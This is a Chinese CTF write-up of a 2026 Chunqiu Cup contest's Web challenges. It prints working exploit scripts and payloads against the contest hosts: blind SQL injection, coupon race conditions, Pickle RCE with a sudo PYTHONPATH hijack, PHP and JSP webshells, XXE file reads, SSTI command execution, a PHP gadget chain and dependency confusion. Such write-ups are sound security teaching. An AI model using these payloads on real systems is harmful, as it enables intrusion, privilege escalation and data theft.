跳到主要内容2026 春秋杯网络安全联赛冬季赛 Web 部分题解 | 极客日志编程语言Node.jsjava算法
2026 春秋杯网络安全联赛冬季赛 Web 部分题解
2026 春秋杯网络安全联赛冬季赛 Web 部分的解题思路。涵盖信息搜集、文件上传、注入漏洞(SQL、NoSQL、SSTI)、反序列化、SSRF、竞争条件及供应链攻击等类型。通过 Session 泄露、Git 泄露、逻辑漏洞利用、模板注入及命令执行等方式获取 Flag。涉及技术包括 Python 脚本编写、Burp Suite 抓包、工具扫描及代码审计。
蜜桃汽水29 浏览 web1_信息搜集与资产暴露
Session_Leak
进入题目一个登录页面。

根据提供的账户密码登录,跳转的同时发现 X-Session-Key: youfindme。

猜测下面的 session 是 admin 所需要的,将 testuser 换成 admin,session 替换重发。

这里没看见 flag,猜测会有 admin 后台直接访问,拿到 flag。

HyperNode
登录页面点击 welcome,直接看 url 处存在本地文件读取。

使用 Fuzz 探测,在 ../../flag 直接看见 flag。

Static_Secret

最开始以为要 nc 连接,后面发现题目可以直接访问,疑似框架配置泄露。

nuclei -u http://8.147.132.32:24710
[CVE-2024-23334] [http] [high] http:
这里直接回显 poc,将 /etc/passwd 换成 /flag 即可。
Dev's Regret
常规 dirsearch 扫描,发现 git 泄露。
使用 githacker 工具,pip 安装即可。
curl -k -I https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/HEAD
gitdumper.sh https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/
cd final_repo
git checkout .
git log --oneline --all
查看 commit e124325 获取 flag:
+ICQ_FLAG=flag{efc2521a-903f-495f-a470-2d1ede3e0d8c}
web1_信访问控制与业务逻辑安全
My_Hidden_Profile
提示 Hint: The admin user has user_id=999。
将 id 改为 999,再去访问 /?profile。
Cyber_Mart
余额只有一点。想法是同时购买两个,一个买得起的(Coupon),一个买不起的(Flag)。后端在验证 Token 时,可能遍历了所有 order_id 发现其中有一个与 Token 匹配,于是判定验证通过;但在发货时,却只取了第一个 order_id(Flag),从而导致在只支付了 $10 的情况下拿到了 $10000 的 Flag。
payload = [
('order_id', flag_id),
('order_id', coupon_id),
('payment_token', token)
]
verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT)
import re
import sys
import requests
BASE = 'https://eci-2zebdk0zap555d3nih50.cloudeci1.ichunqiu.com:5000'
TIMEOUT = 10
def create_order(sess, item_id):
try:
resp = sess.post(f'{BASE}/create_order', data={'item_id': str(item_id)}, timeout=TIMEOUT)
m = re.search(r'Order Created: ([a-f0-9-]+)', resp.text)
if not m:
raise RuntimeError(f'create_order failed: {resp.text!r}')
return m.group(1)
except Exception as e:
print(f"Error in create_order: {e}")
raise
def main():
sess = requests.Session()
print("Creating order for item 1...")
coupon_id = create_order(sess, 1)
print(f"Order 1 (Coupon) ID: {coupon_id}")
print("Creating order for item 2...")
flag_id = create_order(sess, 2)
print(f"Order 2 (Flag) ID: {flag_id}")
print("Paying for order 1...")
pay = sess.post(f'{BASE}/pay', data={'order_id': coupon_id}, timeout=TIMEOUT)
token = pay.headers.get('X-Payment-Token')
if not token:
raise RuntimeError('missing X-Payment-Token')
payload = [('order_id', flag_id), ('order_id', coupon_id), ('payment_token', token)]
verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT)
print("Verify Response:")
print(verify.text)
m = re.search(r'(flag\{[^}]+\}|unictf\{[^}]+\})', verify.text)
if m:
print(f"\nFOUND FLAG: {m.group(1)}")
return 0
return 1
if __name__ == '__main__':
sys.exit(main())

just_web
弱口令爆破 admin / admin123,成功登录。/profile 页面发现文件上传功能。
我们上传的新 profile.ftl 文件里藏了一段特殊指令。FreeMarker 允许在模板里写代码。
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /flag")}
利用文件上传功能,修改路径覆盖到 /app/resources/templates/profile.ftl,再次访问 /profile 页面执行命令。
CORS
Truths
开局登录框,探测 /api/product,直接访问。
发现 ID 为 999 的隐藏商品,价格高达 88888,初始余额只有 100。系统提供了优惠券功能(VIP-50),但一张优惠券只能减 50。需要利用逻辑漏洞或并发竞争来多次使用优惠券或降低价格。
- 应用优惠券 (
/api/order/apply_coupon)
- 取消订单 (
/api/cancel)
- 恢复订单 (
/api/order/reactivate)
通过极高频率地发送 应用 -> 取消 -> 恢复 序列,使订单出现逻辑错误。当监测到订单价格降为 0 时,自动发送支付请求 /api/order/pay。
import socket
import ssl
import json
import requests
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HOST = "eci-2zefnw12rcj5cw1a653j.cloudeci1.ichunqiu.com"
PORT = 8000
BASE_URL = f"https://{HOST}:{PORT}"
def get_token_and_order():
username = f"fast_attacker_{int(time.time())}"
password = "password"
for i in range(5):
try:
requests.post(f"{BASE_URL}/api/register", json={"username": username, "password": password}, verify=False, timeout=10)
res = requests.post(f"{BASE_URL}/api/login", json={"username": username, "password": password}, verify=False, timeout=10)
if res.status_code != 200:
time.sleep(1)
continue
token = res.json()["token"]
res = requests.post(f"{BASE_URL}/api/order/create", json={"product_id": 999}, headers={"Authorization": f"Bearer {token}"}, verify=False, timeout=10)
order_id = res.json()["order_id"]
price = res.json()["total_price"]
return token, order_id, price
except Exception as e:
time.sleep(2)
raise Exception("Failed to setup after 5 attempts")
def build_request(method, path, token, body_dict):
body = json.dumps(body_dict)
req = f"{method}{path} HTTP/1.1\r\n"
req += f"Host: {HOST}:{PORT}\r\n"
req += f"Authorization: Bearer {token}\r\n"
req += "Content-Type: application/json\r\n"
req += f"Content-Length: {len(body)}\r\n"
req += "Connection: keep-alive\r\n"
req += "\r\n"
req += body
return req
def main():
try:
token, order_id, start_price = get_token_and_order()
except Exception as e:
print(f"Critical setup error: {e}")
return
req_apply = build_request("POST", "/api/order/apply_coupon", token, {"order_id": order_id, "coupon": "VIP-50"})
req_cancel = build_request("POST", "/api/cancel", token, {"order_id": order_id})
req_reactivate = build_request("POST", "/api/order/reactivate", token, {"order_id": order_id})
cycle = req_apply + req_cancel + req_reactivate
BATCH_SIZE = 500
payload = cycle * BATCH_SIZE
needed = start_price // 50 + 2
print(f"Need ~{needed} successful coupon applications. Sending batches...")
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
total_sent = 0
while True:
try:
with socket.create_connection((HOST, PORT), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
ssock.sendall(payload.encode())
ssock.settimeout(0.5)
try:
ssock.recv(1024)
except socket.timeout:
pass
total_sent += BATCH_SIZE
if total_sent % 5000 == 0:
res = requests.get(f"{BASE_URL}/api/orders", headers={"Authorization": f"Bearer {token}"}, verify=False, timeout=5)
if res.status_code == 200:
orders = res.json().get("orders", [])
for o in orders:
if o["order_id"] == order_id:
current_price = o['total_price']
print(f"Current Price: {current_price}")
if current_price <= 0:
print("Price low enough!")
res = requests.post(f"{BASE_URL}/api/pay", json={"order_id": order_id}, headers={"Authorization": f"Bearer {token}"}, verify=False)
with open("flag.txt", "w") as f:
f.write(res.text)
return
except Exception as e:
print(f"Error in loop: {e}")
time.sleep(1)
if __name__ == "__main__":
main()

web1_注入类漏洞
Theme_Park
利用搜索接口 /api/search 的 SQL 注入漏洞,从数据库的 config 表中提取 Flask 应用的密钥 ' UNION SELECT key, value FROM config --。
利用 key 在本地伪造一个包含 {'is_admin': True} 的 Session Cookie。
伪造管理员 Session Cookie:Cookie: eyJpc19hZG1pbiI6dHJ1ZX0.aX70_g.HtR-X7ew9AP5ccjziappj8AToRE
伪造之后可以进入后台 /admin/upload 进行文件上传。
发现可以文件上传,fuzz 一下发现不允许上传图片,只允许上传 .zip, .html, .txt。内容测试发现正常回显 {{7*7}},构建 payload:{{ url_for.__globals__['os'].popen('cat /flag').read() }} 发现被过滤。因为测试的时候没有过滤数字,所以进行 16 进制编码:{{ url_for.__globals__['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['\x72\x65\x61\x64']() }}。
NoSQL_Login
就一个登录框。NoSQL 数据库在处理查询时,通常支持特定的查询操作符(如 $ne 表示'不等于')。如果在后端代码中,没有对用户输入进行严格的类型检查,直接将 JSON 对象作为查询条件传入数据库,就会导致注入漏洞。
EZSQL
常规测试 https://eci-2ze3j547u8fstfrsah7f.cloudeci1.ichunqiu.com:80/?id=1,发现有回显。
Fuzz 字符过滤,发现 OR, AND, XOR, NOT, #, --, /*, */, 空格, ORDER, BY, UNION 被过滤。
用 id=1'='1 代替 id=1 OR 1=1。
用 (SELECT(count(flag))FROM(flag)) 代替 SELECT count(flag) FROM flag 以绕过空格。
开始盲注。
无法查询 information_schema,直接猜测表名为 flag,列名为 flag,然后套用二分查找的方式。
import requests
import urllib3
urllib3.disable_warnings()
url = "https://eci-2ze3j547u8fstfrsah7f.cloudeci1.ichunqiu.com:80/"
flag = ""
print("开始注入...")
for i in range(1, 100):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
payload = f"1'=(ascii(mid((SELECT(flag)FROM(flag)),{i},1))>{mid})='1"
try:
res = requests.get(url, params={'id': payload}, verify=False, timeout=5)
if "Cyber-Deck" in res.text:
low = mid + 1
else:
high = mid - 1
except:
pass
flag += chr(low)
print(flag)
if chr(low) == '}':
break
web1_文件与配置安全
Secure_Data_Gateway
提示 "Payload Input (Base64)",并且后端会处理这些'序列化数据',猜测 Pickle 反序列化。
import shutil
import os
import sys
def check_disk_space():
print(f"[+] Running system monitor as user: {os.getuid()}")
print("[+] Checking disk usage...")
try:
total, used, free = shutil.disk_usage("/")
print(f"Total: {total // (2**30)} GB")
print(f"Used: {used // (2**30)} GB")
print(f"Free: {free // (2**30)} GB")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
print("--- Monitor Tool v1.0 ---")
print(f"Python path is: {sys.path}")
check_disk_space()
结合题目提示的 sudo 权限,我们可以创建 shutil.py,然后 sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py,这样让题目运行的时候去找我们的创建的模块然后直接去获取 flag 打印出来。
import pickle
import base64
import subprocess
class RCE:
def __reduce__(self):
malicious_code = """ import os
def disk_usage(path):
os.system('cat /root/flag* > /tmp/flag.txt 2>&1')
os.system('chmod 777 /tmp/flag.txt')
return (1, 1, 1) """
b64_code = base64.b64encode(malicious_code.encode()).decode()
create_file = f"echo {b64_code} | base64 -d > /tmp/shutil.py"
run_sudo = "sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py"
return (subprocess.call, (["sh", "-c", f"{create_file}; {run_sudo}"]),)
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
Easy_upload
测试一下发现,允许上传 .jpg 文件,且文件会保存。上传 .config 文件,服务器会将其重命名为 .htaccess,随后删除。这里想到条件竞争。
import requests
import threading
import time
import urllib3
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE_URL = "https://eci-2zecmsrfj73ipuwnl4vy.cloudeci1.ichunqiu.com:80"
UPLOAD_URL = f"{BASE_URL}/upload.php"
SHELL_URL = f"{BASE_URL}/uploads/shell.jpg"
def prepare_files():
if not os.path.exists("shell.jpg"):
with open("shell.jpg", "wb") as f:
f.write(b"<?php system($_GET['cmd']); ?>")
if not os.path.exists("exploit.config"):
with open("exploit.config", "wb") as f:
f.write(b"AddType application/x-httpd-php .jpg")
def upload_shell():
files = {'file': ('shell.jpg', open('shell.jpg', 'rb'), 'image/jpeg')}
data = {'upload_res': '1'}
try:
r = requests.post(UPLOAD_URL, files=files, data=data, verify=False)
if "Asset deployed at" in r.text:
return True
return True
except Exception as e:
return False
def upload_config():
try:
files = {'file': ('exploit.config', open('exploit.config', 'rb'), 'application/octet-stream')}
data = {'upload_conf': '1'}
requests.post(UPLOAD_URL, files=files, data=data, verify=False)
except:
pass
def trigger_shell():
try:
r = requests.get(SHELL_URL, params={'cmd': 'cat /flag'}, verify=False, timeout=5)
if "flag{" in r.text:
return True, r.text.strip()
except:
pass
return False, None
def attack():
prepare_files()
if not upload_shell():
return
stop_event = threading.Event()
def uploader():
while not stop_event.is_set():
upload_config()
time.sleep(0.05)
def requester():
while not stop_event.is_set():
found, flag = trigger_shell()
if found:
stop_event.set()
print(f"[!] Success! Flag: {flag}")
time.sleep(0.05)
threads = []
for _ in range(10):
t = threading.Thread(target=uploader)
t.start()
threads.append(t)
for _ in range(10):
t = threading.Thread(target=requester)
t.start()
threads.append(t)
try:
while not stop_event.is_set():
time.sleep(1)
except KeyboardInterrupt:
stop_event.set()
for t in threads:
t.join()
if __name__ == "__main__":
attack()

web2_服务端请求与解析缺陷
Nexus_AI_Bridge
这里直接 SSRF 打 url=http://0.0.0.0/assets/system/link.php?target=http://0.0.0.0/%252566lag.php。
URL_Fetcher
可以查看源代码,点击之后访问不到,直接 127.0.0.1。
这里禁止访问,被过滤了,尝试 localhost 和 127.1,这里发现简写没有被过滤。后面尝试 3306, 80/8080, 6379,SSRF 打 redis。
web2_模板与反序列化漏洞
Magic_Methods
<?php
highlight_file(__FILE__);
class CmdExecutor {
public $cmd;
public function work() {
system($this->cmd);
}
}
class MiddleMan {
public $obj;
public function process() {
$this->obj->work();
}
}
class EntryPoint {
public $worker;
public function __destruct() {
$this->worker->process();
}
}
if(isset($_GET['payload'])) {
$data = $_GET['payload'];
unserialize($data);
} else {
echo "";
}
?>
<?php
class CmdExecutor { public $cmd; }
class MiddleMan { public $obj; }
class EntryPoint { public $worker; }
$e = new CmdExecutor(); $e->cmd = "env";
$m = new MiddleMan(); $m->obj = $e;
$e1 = new EntryPoint(); $e1->worker = $m;
echo serialize($e1);
?>
O:10:"EntryPoint":1:{s:6:"worker";O:9:"MiddleMan":1:{s:3:"obj";O:11:"CmdExecutor":1:{s:3:"cmd";s:3:"env";}}}
Hello User
进来之后猜测 SSTI 模板注入直接测试 {{7*7}}。
web2_供应链与依赖安全
Internal_manager
通过查看题目提供的附件,获取了构建配置文件 requirements.txt。
flask==2.3.3
requests==2.31.0
# Private internal utility package - DO NOT REMOVE
sys-core-utils>=1.0.2
上传一个同名包 sys-core-utils,但版本号设置为极高的 9.9.9,构建系统就会优先安装我们上传的恶意包,而不是系统内部的低版本包。
from setuptools import setup
import os
import subprocess
def exec_1():
pass
exec_1()
setup(
name='sys-core-utils',
version='9.9.9',
description='Exploit Payload',
packages=[],
)
tar -czvf sys-core-utils-9.9.9.tar.gz sys-core-utils-9.9.9/
上传后触发构建,访问 /source 拿 flag。
LookLook
const _0x4e8a = process.env['ICQ_FLAG'];
delete process.env['ICQ_FLAG'];
module.exports = {
init: function() {
return function(req, res, next) {
const _0x7b2d = req.headers['x-poison-check'];
if(_0x7b2d === 'reveal') {
return res.json({status:'backdoor_active', payload: _0x4e8a});
}
next();
};
}
};
发现存在限制,构造一个带有特定 Header 的请求来触发后门,代码专门去查有没有一个叫 x-poison-check 的头。
Nexus
文件内容显示项目依赖了一个名为 sky-tech/light-logger 的库,并且在 scripts 中暴露了一个测试文件路径,进一步访问。
nebula_cloud
首先,访问网站并查看页面源代码,再访问 static/js/app.min.js 发现。
这里看见 dev/backups/infra/terraform.tfstate,访问下载打开。
web2_中间件与组件安全
Forgotten_Tomcat
经典框架,Tomcat 的后台管理接口 /manager/html。
这里需要登录,直接抓包,弱口令爆破,得到用户名和密码 admin/passwd。
<%@ page import="java.util.*,java.io.*"%> <pre> <% if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); InputStream in = p.getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); out.println(s.hasNext() ? s.next() : ""); } %> </pre>
这个位置可以上传文件,将 shell.jsp 压缩为 111.war。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///tmp/flag.txt" >
]>
<rss version="2.0">
<channel>
<title>My Feed</title>
<item>
<title>&xxe;</title>
</item>
</channel>
</rss>
Server_Monitorv
dirsearch 扫到 api.php,/assets/。
function checkSystemLatency() {
const statusDiv = document.getElementById('ping-status');
const formData = new FormData();
formData.append('target', '8.8.8.8');
fetch('api.php', { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if(data.status === 'success') {
statusDiv.innerText = `Last check: ${data.output} ms`;
} else {
console.warn('Monitor Error:', data.message);
}
}).catch(err => console.error('API Error', err));
}
setInterval(checkSystemLatency, 5000);
body { background-color: #0f0f12; color: #e0e0e0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; }
header { display: flex; justify-content: space-between; align-items: center; border-bottom: 2px solid #2c2c35; padding-bottom: 20px; margin-bottom: 30px; }
.status-ok { color: #00ff88; text-shadow: 0 0 10px #00ff88; }
.grid-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; }
.card { background: #1a1a20; border: 1px solid #2c2c35; border-radius: 8px; padding: 20px; box-shadow: 0 4px 6px rgba(0,0,0,0.3); }
h3 { margin-top: 0; color: #888; font-size: 0.9em; text-transform: uppercase; }
.metric { font-size: 2.5em; font-weight: bold; margin: 10px 0; }
.sub-text { color: #555; font-size: 0.8em; }
#ping-status { font-size: 0.8em; color: #00aaff; margin-top: 10px; }
这是一个典型的系统监控界面,通常包含 Ping 检测等功能,这暗示可能存在命令注入漏洞。
这里注意 assets/script.js 中明确定义了参数名为 target。
formData.append('target', '8.8.8.8');
这就告诉我们后端 API 期望接收一个名为 target 的参数。
相关免费在线工具
- 加密/解密文本
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
- Keycode 信息
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
- Escape 与 Native 编解码
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
- JavaScript / HTML 格式化
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
- JavaScript 压缩与混淆
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
- Gemini 图片去水印
基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online